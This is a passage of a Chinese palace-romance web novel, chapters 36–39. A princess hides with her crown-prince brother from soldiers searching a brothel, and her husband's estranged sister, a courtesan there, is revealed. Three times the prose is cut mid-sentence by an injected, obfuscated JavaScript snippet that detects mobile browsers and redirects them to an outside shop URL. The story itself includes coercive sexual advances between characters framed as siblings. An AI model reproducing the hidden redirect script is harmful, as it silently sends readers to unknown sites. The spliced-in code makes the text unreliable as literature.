赵清漓又等了一会儿,直到门前彻底没了声音,这才蹑手蹑脚伸着脑袋走出来,随手在桌上捡起一把团扇,掩着脸面朝门外去。 朱栏下方,大批的官兵仍在到处搜捕,闹得人仰马翻四处逃窜。 然而楼下领头的又喊:“接着搜,若有可疑之物可疑之人,一并带下来!” 赵清漓吃了一惊,即刻缩回脖子背对着楼下。 她瞧自己这身装扮,怎么看都不会是楼里的姑娘,更不像是侍奉丫鬟,可不就是他们口中的“可疑之人”么! 早知她便在路上换身男装算了,谁想到会在这里遇上这群官兵。 聚在厅堂中央的人群四散开,从两侧楼梯一阶一阶向上来,赵清漓慌了神,提着裙角四下去寻可以藏匿的地方。 方才那间房还没被搜过,自然不能回去...... “呀!” 赵清漓惊叫一声,思绪还未理清就被人一把扯去最里的房间。 电光火石之间,身后房门大合。 赵清漓这才抬起头望向拉扯他那人,却见那张俊逸的脸近在咫尺,鼻息的热气打在她的脸上,一手按着她的肩,一只小臂抵在她头顶上方的门框上,圈她在面前。 “赵辞?” 36. 第 36 章 赵清漓失声叫了出来,脸上惊讶的表情一晃而过,换上浓浓的疑惑之色。 她没认错,真的是赵辞,她的皇兄,本该在宫中安稳坐着的太子殿下。 “你怎么会在这儿?”赵清漓四下扫了一圈,这屋子同方才那间差别不大,却没旁的人在,眼神顿时冷了几分,讥讽道,“哦,你也是来找乐子的......啊!” “啪”的一声,赵辞屈指在她额头上敲了一下,倒引得佳人怒目而视。 赵辞勾起她的下巴:“胆子大了,张口就来冤枉我。” 这是花楼,来这里的男子除了找乐子还能有什么,她怎么就冤枉他了! 赵清漓很不服气,揉着额角回嘴:“不然呢?你在这做什么?” 赵辞稀松平常道:“找人,你呢?” 那可不巧了! 赵清漓学着他的表情,不以为意道:“我也是来找人的!” 赵辞笑道:“难不成是来找我的?” 赵清漓有时候真的惊叹他的厚脸皮,没好气地横他一眼:“难不成你是这楼里的姑娘?” 说完,她抬起手肘在他胸口抵了一下,推开他后,自己找了个方凳坐下。 赵辞也不气恼,按了按胸前被她推搡的位置,转过身说:“你若真是来找我的,我也可以是。” 话音还没落,台阶上杂乱而上的脚步声又震了起来。 三楼的房间只有单侧,不像二楼是一整圈儿的,他们所在的这间暖阁又是在最里头,上来还需要一会儿时间,但也只是一会儿,搜捕的官兵并非只有一人,早晚会搜到他们这里来。 赵清漓有点慌了,只能将希望寄托于赵辞:“楼下那些人是不是你带来的?” 赵辞摊手,一脸抱歉地回答她:“不是,我也是刚到这里。” “那怎么办?”赵清漓咬着牙,又看赵辞一脸不着急的样子,拍着桌子恐吓,“当朝太子流连烟花之所,六哥的事已经把父皇气得头疼,你就不怕这件事再被他知道?” 或许刑部认识赵清漓的人不算多,但绝对没有几个不认识太子的,发现她们出现在这里事小,但若有哪个话多的把她们两个一起出现在这里的事宣扬出去...... 赵清漓不敢细想。 “还好。”赵辞挑眉,不急不忙地歪过头看着她,“我怎么觉得你更怕些?” 隔壁的动静也渐渐大了,也不知是隔了几间,门框砸在墙上震的里间屋子也动了动,赵清漓求助地望向赵辞。 以赵辞的性子,凡事总要算好了七八条退路才肯做,这件事她相信赵辞也一定有办法解决的。 赵辞也听到了外面的声响,神色蓦然一凛,快步去了赵清漓边上,握着她的一只胳膊就将人提起来往床边走去。 “你——” 话音没落,赵辞迅速掀开了床榻上的衾被,把她往榻上一按。 赵清漓条件反射的就要起来,腿还没支撑住,又被他一把按下,顺便还抱起腿朝里头塞了塞。 “赵辞!”她不敢大声,只能压着声音凶斥。 “嘘。”赵辞伸出食指在她唇上压了下,顺手脱了自己的外袍丢在地下,翻身覆在她身上。 做完这些,他把堆在里面的衾被拉过来往自己背后一搭,彻底将他们两人裹进被子里。 赵清漓的心也随着赵辞贴近而嗵嗵直跳,自从有了肌肤之实,她到现在还是不能习惯自然地和他亲近。 “做什么......”赵清漓小声抱怨了一句,红晕悄然爬上耳廓,也不知是被裹得太热,还是别的什么。 “演戏,会不会?”赵辞调整了下姿势,大掌将她的脸从外挡住。 赵清漓被他没头没尾的话说的一怔:“啊?演什么?” 赵辞坏心眼儿的笑了下,答她:“姑娘和嫖客。” 赵清漓觉得自己拳头紧了,他把自己当嫖客,也不能让她演卖身的姑娘吧! 赵辞岂会看不出她的心思,也不知是劝还是威胁的:“刑部的人马上过来了,你要是想和他们去讲道理,我不拦你。” 赵清漓犹豫了。 可......怎么演?横不能真让她们在这做出那种不文之事吧! 赵辞一手支撑着,另一只手在她腰上摸索,赵清漓觉得他是故意的,过了好一阵子才“费力”把她的外裳解下,随手一抛,从衾被里丢到了床尾。 赵辞捏着她下巴,垂眸命令道:“亲我。” 赵清漓:“?” 赵辞不以为意,反而笑道:“不主动点你哪来的生意?” 真当她是取悦嫖客的小娘子了! 赵清漓正想还嘴,房门终于被用力捶打起来。 搜查的士兵还是到了这间房前,先是敷衍地砸几下门,还没等里头有人应声,一脚便把门踹开了。 与此同时,赵辞镇静地笑了下,锦被下的手开始不安分起来,竟真的在解她衣裳,赵清漓瞪着眼和他周旋,却还是被他扯下了襟带。 这人就是故意的,明知她现在不敢发出声音,更不能暴露身份,就这样取乐于她! 两个士兵一进来就看到一男一女紧紧交缠在衾被里的一幕,床上两人似乎还并不安分,旁若无人地在里面做着小动作。 简直没眼看。 其中一人握着拳咳嗽一声,与同伴对视之后说道:“床上的是......什么人?” 手臂遮着她的脸,赵辞还刻意偏过头挡在外侧,趁机捏住她的下巴在她脸上亲了几下,从外面看还真像是男女正在寻欢一样。 “问你们话呢!” 其中一人耐不住了,却也不好意思直接去掀人被子,生怕万一得罪了哪家贵人。 赵清漓大气都不敢出一下,反观赵辞却全当没听见似的,停了好一会儿才撤开点距离,留下一丝侧颜给他们,目光却是盯着身下这人。 他慢悠悠地开口,说了句答非所问的:“来这里的还能是什么人?” “你!”头先那人正欲上前破口大骂,却被一旁的人拉住,深呼吸一口,正色道,“我不管你是什么人,快点穿上衣服过来回话,这屋子我们也要搜查!” 赵辞低低笑了几声:“孙大人就是这么约束手下的?” “你什么意思!”搜捕的官兵被几番挑衅,暴躁的脾气终于快到达爆发边缘。 身边的同伴却突然紧紧拉住他,指着地上那件玄色的锦袍,咽了咽口水。 那团墨色的衣料遮掩下露出一条朱红的缨绦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999055|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,铜质的令牌上赫然写着一个大大的“吏”字。 “是吏部的人。”那人小声提醒。 原先脾气暴躁的官兵瞬间气焰下沉了半截,难怪榻上那人一直不肯露面,想来是吏部的哪位管事,不愿意露面。 再说,他认识他们刑部专管重犯刑狱的孙大人,听那语气,定然也不会是一个小领事。 一个是有官职的,一个只是普通士兵,孰轻孰重当下立断。 那人又在一边提醒:“反正我们要查的与此无关,不要横生事端,得罪了他咱们以后日子都不好过!” 两人互相一琢磨,动作整齐地抱拳:“打扰了!” 说完,转瞬就消失在房里,还很知趣的把门关好了。 一时安静。 赵清漓眨眨眼,不确定地问:“走了?” 看着身下的人睁着大眼,迅速松懈下来的样子,赵辞忍不住笑:“嗯,走了。” 走了还不快起来! 这被子缠的那么紧,身上这人又这么重,压的她快无法呼吸了。 赵辞一点儿也没有起来的意思,捏着她的脸摇摇晃晃:“我帮了你,你还没谢我。” 赵清漓不满意他的说辞,纠正道:“你帮的是你自己。” “是吗?”赵辞挑眉,“那我现在就去把他们叫回来,兴许还没走远。” 说着,他作势起身,似是真的要去把人喊回来。 赵辞不知从哪来来的吏部令牌,看那意思还是上官的铜牌,而非普通首领的铁牌。但不得不说,全靠他有所准备,否则赵清漓真不知道自己该如何脱险。 她立刻抱着他的腰拉回来,许是力气用的大,又许是赵辞故意的,他就这样跌回她的身上,腰身在她怀中紧紧抱着,与她玲珑有致的身材紧紧贴合。 四目相对,再加上危险远去,这会儿的气氛比方才他偷偷解自己腰带时候还要暧昧七八分。 他的眸色愈发深沉,长而直的睫毛垂下,掩饰着眼中情欲,喉结微动,声音却喑哑:“小没良心的,我帮了你,你却不肯谢我。” 赵清漓的手指在他腰际微微蜷缩,半晌儿,生硬地吐出一句:“......多谢皇兄。” “罢了。” 赵辞叹了一声,这让赵清漓以为这事可以揭过了,却又听他继续说:“罢了,你既不愿主动,还是我来吧。” 随后,在她还没反应过来,眼睛越睁越大的时候,赵辞的脸也在她的瞳孔中迅速放大。 干涩的唇贴上她的那一刻,从一开始就带着灼人的温度和攻势,没打算给她留喘息的余地,像是惩罚的厮磨,又像是带着隐忍许久的渴求。 赵清漓只能承受他无端而来的怨气,被扯开的衣襟凌乱,手指隔着衣物划过的每一处都让她顿感酥麻,险些沦陷在他强烈而霸道的攻势中。 赵辞却突然停下,捏着她的下颌厉声警告:“不许再为他以身犯险!” 赵清漓的大脑正处于缺氧状态,听到他这句话的瞬间还没找回思考的能力,待她调整些许呼吸,茫然地问道:“什么?” 捏着她的手没松,赵辞的脸色不算好,眯起双眼一字一句地威胁:“不许再为了他来这种地方,若有下次,我一定剥了你的皮。” 37. 第 37 章 听到这样的话,赵清漓第一时间不是觉得害怕,而是觉得不服气。 凭什么他就可以随意来这里,她却不行,还要受他的威胁,这不公平! 赵清漓剜他一眼,膝盖在底下用力戳他:“你怎知我因何而来,再说了,你若不来,又怎会遇见我?” 分明是为自己争辩的话,偏偏她因为被压制着,声音有点娇气,倒像是在和他闹别扭了。 赵辞怔了下,笑盈盈道:“你在吃醋?” 她吃哪门子的醋啊! 赵清漓真是不想再和他多说下去,推搡他的肩头,脸也一直挣扎着,想躲开他手上的钳制。怎奈他越是推搡,反倒激起身上那人的怒意。 双唇再次紧贴覆上,带着还存留的温热湿意,攻势仍是猛烈的,不同于方才情难自禁的热切,而是他极其清醒之下故意所为。 唇角厮磨间,贝齿被撬开,而后一路的攻城掠地,非要无法思考,只能抵着他依赖着他,脑海里只能有他一个人才够,而怀里娇影却只剩求饶一般的呜咽声。 良久,赵辞放开她,呼吸微乱,唇峰挂着晶莹。 赵清漓的身子却软了,全身都失了力气,干脆安静躺着歇会儿,喘匀了气儿再说。 赵辞松开箍着她的手,从榻上起身,拾起身下那根碧色的襟带,横在手里把玩着,脸上似笑非笑。 她的衣衫乱的不成样子,是方才官兵来巡时,趁她老实待在怀里那一会儿故意逗弄她的。 赵清漓缓过神来,是被她身上衣物拉扯的感觉吸引了注意。她偏头一瞧,赵辞一身玄色锦袍整整齐齐的,正盘腿坐在一旁为她整理衣裳。 裙褶被重新摆回原处,同她微微敞开的上襟交叠。 赵清漓惊了一下,下意识想护住自己,手臂一伸就要去遮掩自己的衫裙。 那只白玉似的小手刚伸出去,还没等到下一个动作,先被另一只大出她一截的手拍了下。 赵辞给了她一个警告的眼神:“老实点,不然我要假戏真做了。” 赵清漓只得抿唇忍耐,任他像摆弄提线木偶似的在自己身上摸索来摸索去的。 这怕不是他为占便宜想出的新招数吧? 怀疑的种子还没落地,赵辞清冽的声音再次响起:“腰抬起来。” 他的手上拿着她的襟带,正打算替她系上。 赵清漓含恨地瞪他,却又怕他说到做到,真给她来一个“假戏真做”,只好听话的微微提了提腰。 那只偏瘦的手从她腰下穿过,在腰际流连几圈,带起她一阵轻微的战栗,但他仿若没注意到,专心在她腰前裙褶处打了精巧的双结。 赵清漓盯着他动作流畅的手最后伸向自己,不由分说地捏着自己的手,轻轻一带,便把她从榻上拉起来。 赵辞笑了笑:“好了。” 他的笑让人如沐春风,丝毫没有威胁她时的那种锋利感,这才是赵清漓记忆中的那个人。 赵清漓随意点点头,心思不在这之上,只想快些离开这里。 门外的动静不知道什么时候小的,赵清漓猫着腰附耳趴在门边,仔细去听外面的风吹草动,赵辞却从她脑袋上伸过胳膊,一把拉开紧闭的房门。 赵清漓险些跌进他怀里,站稳时,赵辞已经挺直脊背大摇大摆走出去了。 她漓迟疑片刻,也跟着出去了。 倚着栏杆朝下面看去,人果然已经散了,剩下的客人也寥寥无几,还有正在向外走的。 这么大费周章的,只是抓走了一个芍药娘子? 这么想着,走至二楼时候,迎面提裙上来一个打着扇的妇人,衣衫颜色艳丽,约莫三十多岁的样子,眉头紧锁,眼含疲态,但风韵犹存。 赵清漓在脑中快速搜索了一下,应该是赵齐说过的倚香楼的老板——秋娘。 那秋娘见到赵辞,眼神一亮,迎上来客套几句:“沈公子?真是许久未见啊,您怎么有雅兴来我这儿了?” “沈公子?”赵清漓跟在他身后,面露疑惑地问了一遍。 秋娘这才注意到她,解释道:“沈意、沈公子,就是你面前这位郎君呀!” 赵清漓更疑惑了,赵辞什么时候改名叫做沈意了,再看这秋娘说话的样子,定也不是头一回了! 秋娘今日起的晚,方才官兵大肆搜捕她才过来,打听之下,只说芍药是被叫过去问话的,应该不会出什么大事,她虽然放心一些,却还是不能完全安心。又听还有个年轻姑娘非要见芍药,给了好大一锭金子,她这才上楼来瞧一眼,没想到正碰上了。 秋娘立刻一副明白了的模样,说道:“就听说有个姑娘非要闯我们这倚香楼,感情是来找沈公子的啊!我跟你说姑娘,沈公子今儿这是第二次来我们这里,他可不是我们的熟客,你可莫要误会了他去。” 赵清漓觉得好笑,赵辞到现在可一句话没说呢,秋娘倒是上赶着替他解释。 赵清漓弯了弯笑眼,歪过头看向赵辞:“真的?” 赵辞笑着说了他下楼至今的第一句话:“千真万确。” 走出倚香楼的大门,赵清漓才知道外头阳光是这样的好。 她接着前面继续问:“你第一次来这里是什么时候?” 赵辞也不瞒着她,直接道:“三年前,与右相府的大公子一起。” 三年前赵辞还是皇子身份,彼时正在竭力结交大臣,右相家的大公子最是喜欢听曲儿看舞,虽然现在也成了亲,却也没改的了那些毛病。 秋娘那般对他客气,想必也是以为他与右相家关系亲近,生怕得罪了。 赵清漓点点头:“那今天呢?” 赵辞顿了下,笑道:“找人,不过没找到。” 那便不是来找姑娘的,赵清漓这么想着,也就没再追问下去。 “对了,她方才为何叫你......沈意?沈意是谁啊?”赵清漓刚才就想问了,只是被秋娘拉着絮絮叨叨说了许多,也就忘记了。 赵辞微转过头,说的理所当然:“一个假名罢了,难不成我出门还要顶着太子的头衔招摇过市?” 去那种地方,的确不好用真实身份。 她都如此,何况是赵辞了。 赵清漓还有疑问:“那你和吏部有什么关系,为何有他们的令牌?” 赵辞似是被问得烦了,脸上却没什么不耐的表情,只是抬手敲了下她的脑袋。 “你今日怎么这么多问题?”他这样说了一句,顿了顿,还是回答了她的问题,“早上去吏部走访,恰好捡的,还没来得及还回去。” 轻描淡写的一句话,没想到下一刻赵辞却正色起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999056|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你呢?”赵辞注视着她,“为了周砚枕,跑来倚香楼找人?” 赵清漓咬着唇,想了半天没想到一个好的借口。 她会来倚香楼,无论出于为周砚枕还是为自己,总归源头是和周砚枕逃脱不开的。 赵辞这样聪明,即便现在编了个理由,显然也不会让他信服。 末了,她丢下一句:“我回去了!” 赵辞扼住她的腕子,强迫她直视自己:“为了他,你竟争风吃醋到这个份上?” 他的声音含怒,眸子有因为强行按捺情绪而泛起的猩红。 街上瞬间有喜欢看热闹的人注意到了这边。 赵清漓很不喜欢这种被人大庭广众注视的感觉,别扭的抽几下手腕,却没能抽回来。 她皮笑肉不笑地弯了弯唇角,尽可能与他保持着距离:“兄长,街上人多,你要训斥妹妹也得先回家关起门来再教训,别让人看了笑话。” 赵清漓故意提醒,隐晦又恰到好处。 人来人往的长街上,赵辞握着她,那么清晰地感受到自己把她握在手里,心中却没有半分实感。 她笑得疏离,像是离他好远好远。 赵辞怀疑自己疯了,当初将她拱手送人的是他,如今看不得她对别人展现心意的也是他。 明知道周砚枕是他安排的棋子,明知道周砚枕不会和他争,即便他想争,也没有那个能力。 他本是胜券在握的,怎么却连她稍稍为别人动一点心就忍不得了。 忍了那么多年,他原以为自己可以忍一辈子的。 终于,他缓缓放开手,放开原本不该与他有可能的那个人。 那原本就是他强求得来的,他不能什么都想要,也不能什么都要。 —————— 驸马府上,赵清漓离开时什么样,回来时仍是什么样。 周砚枕没回来。 可不应该啊,赵辞都有闲暇时间出宫来了,听他的话,他应是和周砚枕一同去的吏部。 “桑儿。”赵清漓招招手,“周砚枕没传信回来吗?” 桑儿一拍脑袋:“呀!奴婢给忘了,大人回来过,不过还没进门便又走了!” 赵清漓纳闷道:“他可有说去哪儿?” 桑儿想了想,不确定道:“好像......好像听到大人和车夫说是要去......刑部。” 刑部? 那就没错了,周砚枕一定是得知花魁娘子被抓的消息,这才火急火燎地赶过去,连门都没进。 不过赵清漓也只是气恼了一瞬,越发觉得不对劲。 她清楚的听到,刑部的士兵抓人时再三确认过芍药娘子本名是否叫做“周慕紫”,也就是说,芍药娘子其实是姓周的。 周...... 赵清漓第一眼见到她时,一下就想到了周砚枕,觉得她们气质相貌很是相似,现在回想起来,她的五官与周砚枕有七八分像,若是个男子,大约与周砚枕不遑多让。 虽然周砚枕从没否认过他对芍药娘子的在意,但他近日针对此事似乎总有要解释的举止。 周...... 赵清漓陡然想起周砚枕说过的那个故事,那故事里的阿姐,她原理所当然的以为和周砚枕的双亲一般,也是死了的。 38. 第 38 章 刑部的人赵清漓并未接触过,但孙云这个名字她还是听说过的,专管刑狱重案,瑞王的事当初就有他的参与。 周砚枕曾说这人铁面无私之极,瑞王当初在他手下也是吃了不少苦头。 细想下来,与赵辞交往的人净是些不招人待见却绝对挑不出错的那种人,百官或许不够喜欢,但圣上一定是喜欢的,难怪赵辞会坐上这个位子,他看人的确是准,用人也的确聪明。 但刑部抓一个花楼娘子有什么用呢?她能与大案要案有什么牵扯? 莫非是赵齐的事? 不对不对,就算赵齐真与那些贪官污吏有勾结,又将此事说与了芍药娘子,也不至于这么多的人一起出动,而且他们还折返回来搜捕,似乎是在找什么。 —————— 石锁响动两下,看守恭敬地把栏门打开。 周砚枕走进这间阴暗的审讯室。 隐约还能听到深处犯人喊冤哭闹的声音,唯有眼前一身蓝衫的女子端坐在简陋的桌前,神态自若地饮着闲茶。 守卫眼尖,一看周砚枕进来,先是诧异:“周大人,您怎么来这儿了?” 继而他小心地看了眼那美貌惊人的娘子,掩嘴附耳过去:“太子殿下也知道这事了?” 周砚枕微微颔首:“自然,太子殿下耳聪目明,特遣我来了解情况。” 说这话时,他余光不经意扫过始终未瞧他一眼的人,见她身上并无半分受刑的痕迹,这才放下心:“都审完了?” 两个守卫也没搞明白他一个御史中丞有什么可过问的,但圣上病体抱恙,许多事力不从心,太子关心此事也理所应当,便没细问。 “审完了,等倚香楼来取人就成,大人您......” 周砚枕仍是一副冷冰冰的表情,一丝不苟道:“我与她说两句,也好回去禀明太子,不妨事吧?” “不妨事不妨事!”那守卫讪笑着连连摇手,为难道,“不过依照规矩,小人得在这里旁听,否则圣上要怪罪的......” 周砚枕无所谓地点头:“规矩我懂。” 说罢,他撩起衣摆,落座在她对面,目光沉沉。 花魁娘子放下茶杯,扬起宛转的笑转过头来,略显埋怨道:“周大人您看,这抓人也就罢了,怎的还要确认本名,连点私隐都不给人留,着实让人难堪了点。” 站着的两个守卫对视一眼,露出揶揄的笑。 其中一个更是忍不住打趣:“没想到周大人也和这女人认识?” “几面之缘罢了。”周砚枕表情不带一点变化,解释了一句,“刑部也是为免错抓。” 想想也是,御史中丞是出了名的不近人情,又听说与公主情缘深重,想来不会留恋这烟花女子,准是应酬时候见过。 俩人没再说什么。 周砚枕望着她:“周慕紫。” 听到这个名字从他口中说出来,她极其不耐地锁了下眉:“大人还是叫我芍药吧。” 周砚枕垂了下眼眸,不为所动地继续问:“周慕紫,你与季云柔是如何认识的?” 花魁娘子伸出手指,勾着鬓间落下的一缕碎发缠绕几圈:“这个问题我已经回答过两位官爷许多遍了,不认识,她只是来过我们楼里,凑巧我见她一脸丑相,生的可怜,好心给了两顿饭,又补贴点散碎银两而已。” 她很是无奈地笑着耸了耸肩:“谁成想给自己牵连进去了。” 听到答案,周砚枕心底暗自松了口气。 这时,门外的看守喊了一声“倚香楼”的车来了。 花魁娘子闻声起身,佯装抱歉地一笑:“我可以走了吗?” 周砚枕沉吟片刻,默默站起来,对两个看守说道:“将审讯记录誊抄一份送至我府上。” 这花魁娘子与那季云柔着实没有牵连,因此审讯记录便也不是什么要紧的,誊抄就誊抄吧。 看守连声应下,送两位出门去。 走至门外,身后落锁的铁门越来越远,倚香楼的马车就在眼前停着。 周砚枕迟疑了下,低声唤道:“周慕紫。” “阿枕。”周慕紫面露不快,勉强勾着嘴角才没在这里失了分寸,“我不喜欢那个名字。” 周砚枕的脸上出现微微动容,没有说话。 她又叹道:“天地辽阔,浮生渺渺,没有人会一直等你。阿枕,我不想回头看,你也该学着朝前看了。” “阿姐......”周砚枕眉间露出几分隐忍,声音微压,“你还在怪我吗?” 周慕紫释然地笑了笑,没有回答,转身上了马车。 空旷的石板路上,马蹄阵阵,车轱辘声渐渐远去。 “天地辽阔,浮生渺渺,没有人会一直等你。” 周砚枕站在原地,默默重复着那句话。 —————— 带周砚枕去刑部的车夫早早就回了府,还带了口信说是中丞大人让他先回来。 晚膳时间过去许久,仆役才见到有人慢悠悠地进门,定睛一瞧,正是他们家大人。 可惜他家大人一脸的倦容,不知在外头一个人逛了多久,衣角沾了干涸的尘污,他却也没心思注意,心事重重地回到房间。 消息很快传到内院里,赵清漓听完点点头,吩咐下人将饭菜热一热送去他房里。 第二日。 天一亮没多久,宫里的信使来到驸马府门前,是刑部将昨日誊抄好的审讯记录送了过来,一并送到的还有赵辞的手书,不过一封信纸,薄薄的,信舌以金漆密封,完好无损。 周砚枕一并接过,上面只有两行苍劲有力的小字: 壮岁欲飞腾,生涯亦可矜。砚枕秋风梦,书灯夜雨澄。 是他的名字。 周砚枕默默合上,谢过信使,托他回禀太子。 信,他收到了。 祛疤的药,赵清漓一直用着。 这会儿,春桃正在给她上药,不住地咂嘴叹息:“不是奴婢说您,公主您对自己下手也这么狠做什么?饶是这药是金玉做的,也难让您这伤口痊愈了!” 可惜了从小娇养的一副好皮囊,这一道长疤,当真是毁了。 赵清漓不在意这个,擦好药后,将袖口放下来,神色淡薄:“怕什么,又不是在脸上。” 春桃小声咕哝几句,退让道:“这药还是每日擦着,有总比没有好,日后若是淡了,拿粉遮掩一下倒也不成问题!” 话是这么说,春桃还是满脸可惜。 赵清漓闻言淡笑了两声,不再反驳她。 昨日她早早睡下了,破天荒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999057|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她睡的很快很沉,一夜无梦,今早起来也是神清气爽的。因而她今日心情还不错,便打听起周砚枕来。 春桃说:“驸马爷正在外院,好像是宫里送信儿来了。” 他倒是忙得不可开交。 赵清漓这么想着,系上披风就出门了,朝外头走。 周砚枕也正进内院,差点与赵清漓迎面撞上,一时寂静,相顾无言。 还是周砚枕张了张口,迟疑了下向前一步,礼貌道:“昨日多谢了。” “多谢什么?” 赵清漓没反应过来,猛然想到昨夜他回来晚了,想来没吃什么东西,便让厨房送些膳食过去,兴许是这个。 她眼眸闪烁几下,不在意地笑:“不用谢。你......” 除了一封还未拆封信的信件,他的手里还紧紧捏着一张信纸,信封上的暗纹出自皇宫,上头的金漆她见过,是只有皇子才能用的。 赵清漓立刻猜想到:“三皇兄的信?” 那页薄薄的宣纸被他捏的更紧,鼻间淡淡“嗯”了声,神色不太自然。 “是什么?”赵清漓仍然盯着他手中的纸,十分好奇。 周砚枕犹豫了下,缓缓抬起手,目光在皱巴巴的纸张上停顿一瞬,然后递给了她。 赵清漓脸上一闪而过惊讶,没想到周砚枕竟毫不避讳的让她看。怀着好奇接过,赵清漓却只看到几句玄妙莫测的句文。 最先注意到的是周砚枕的名字。 赵清漓不自觉地念了出来:“砚枕......” 随后她抬起头,仰着脸疑惑问道:“这是什么?” 周砚枕温和的笑了笑,语调清澈:“父母在世时,曾特意去找先生为我取名,这几句诗文便是先生当时说过的话。” 这几句诗,承载了长辈对儿子的期望,也是他们对周砚枕的要求。壮岁飞腾,书灯夜雨。打从他一出生起就被寄予了父母厚望。 赵清漓知道他对家人的感情很复杂,也不知道该怎么安慰他才妥当。 沉默了半晌儿,她吐出一句:“取名都这么用心,你父母很重视你。” 周砚枕又笑了下,眉间却带着一丝惆怅,显然她的安慰起了反作用。 轻咳两声,赵清漓拉着他坐在石桌前,想缓和一下气氛:“三皇兄说这个是什么意思?” 周砚枕顿了下,直截了当道:“太子殿下在警告我。” 若说是什么警告,赵清漓不问也知道了。 昨日他府门都未踏入,慌慌张张就去了刑部,月出才归。赵辞耳目众多,又岂会不知道这些风吹草动,定是和这件事有关。 “昨日我假借太子名义去看了一个人。”周砚枕接着说,掀起眼皮观察了下赵清漓的表情,用陈述的语气指出,“你好像不惊讶。” 赵清漓眼神躲了躲,又听到他说:“你知道了。” 殿试第一的才俊,这点关系利害怎会猜测不出。 也好,也省得她绞尽脑汁想着如何切入了。 赵清漓端正姿态,清了下嗓子,正色道:“昨日我见过她了,那位......芍药娘子。” 她没有直说自己听到的那个名字,万一是自己弄错了呢! 周砚枕却接上她的话,直接道:“周慕紫,她是我姐姐。” 39. 第 39 章 从昨日至今,赵清漓已经想了很久很久其中原委,因而在听到周砚枕的回答时,她已经丝毫不觉得意外了。 赵清漓更好奇的是周砚枕的双亲因何去世,姐弟二人又因何分开,还落得如此天壤之别的下场,若周砚枕早就知道周慕紫身陷花楼,为何不想法子为她赎身,凭他今时的身份地位,再加上和太子的关系,应该不难。 除非,是她不愿。 “刑部抓人的时候我就在那儿。”赵清漓委婉地说,“你们很像。” 一阵风起,黄叶沙沙从枝头落下,不偏不倚落在周砚枕撑在石桌的月白衣袖上,孤零零躺着。 周砚枕淡漠地伸出长指,拂去那片落叶,缓缓道:“小的时候隔壁住了一位教书先生,村子里许多孩子都是跟着他识字的,我五岁的时候便去旁听,先生说我天资聪颖,是读书的苗子,便劝我父亲想办法送我去更好的地方读书。后来我被送去更大的镇里,跟着其他孩子一起进学堂学习,阿姐是女子,便和父母一同留在家里,那年我十岁。” 周砚枕的双亲都是没什么文化的,满心想要自己的儿子出人头地,便从小对他灌输读书和名利的要紧。在他的记忆中,留下的全是父母亲对于他的严厉和苛责,他很羡慕自己的姐姐得到的一切。 但赵清漓已经觉察出不对,这样的家庭怎会如此溺爱女儿。 周砚枕轻轻蹙了下眉,咽下一丝回忆的苦楚,继续说道:“我很少回家,有一年甚至从入秋一直到过冬,其他学子都回家了,我的母亲才姗姗来迟。我满心欢喜地回去,却不见阿姐踪影,父亲说......阿姐走丢了。” “彼时我已经满十二岁,尚能识得回家的路,阿姐比我年长三岁,在村子生活了整整十五年,又岂会在自家门前走丢?”他忍不住扬了扬唇,露出一个讽刺至极的冷笑,“只是当年我信以为真,从未想过这一层。” 赵清漓怔了一怔,试探地问:“所以,她不是走丢的,而是被人故意丢下的?” 她尽力说得很委婉了,寻常百姓家,夫妻有许多只生不养的,赵清漓不觉得惊奇,只是有些心凉,这世间将亲情看得寡淡之人实在太多太多。 周砚枕浅浅“嗯”了一声,那一声甚至听起来像在颤抖。 他就这样承认,声音变得克制,缓慢而清晰道:“殿试前一年,我从上京回到家中,却发现父母二人横死家中,村里乡亲说是流寇,死了不少人,于是我才辗转回到上京,也就有了现在的周中丞。” 说到双亲去世的时候,周砚枕一带而过,面色比先前平静不少。 周砚枕释怀地笑了下,面向赵清漓问道:“你是不是很想知道我与阿姐如何重逢的?” 赵清漓迟疑了下,垂下眼眸小声地说:“你若实在不愿说,我不逼你......” “你第一次见到阿姐就觉得我们相像,我也是如此。”周砚枕对她说道,“三年前我与同窗旧友邀约上京,恰好遇见了我阿姐,我一眼便认出了她,哪怕她不肯认我。后来打听之下,才知道她已经流落烟花之地,因此我才下定决心要参加殿试,留在上京,我回家便是想告知母亲这个决定。清漓,你可知我阿姐为何会在倚香楼?” 周砚枕的神情很悲伤,还带着完全无法掩饰的自责,赵清漓不得不往更加险恶的方向去想。或许生养不得并不是真相,周慕紫生得如此姿色,十五岁的时候必定也已经大放异彩。 这样的美貌若是生在富贵人家,或许是为家族搏前程,为自己选个好夫婿的利器,但若放在贫苦人家,那不是幸运,而是不幸。 赵清漓不忍心说出她的猜想。 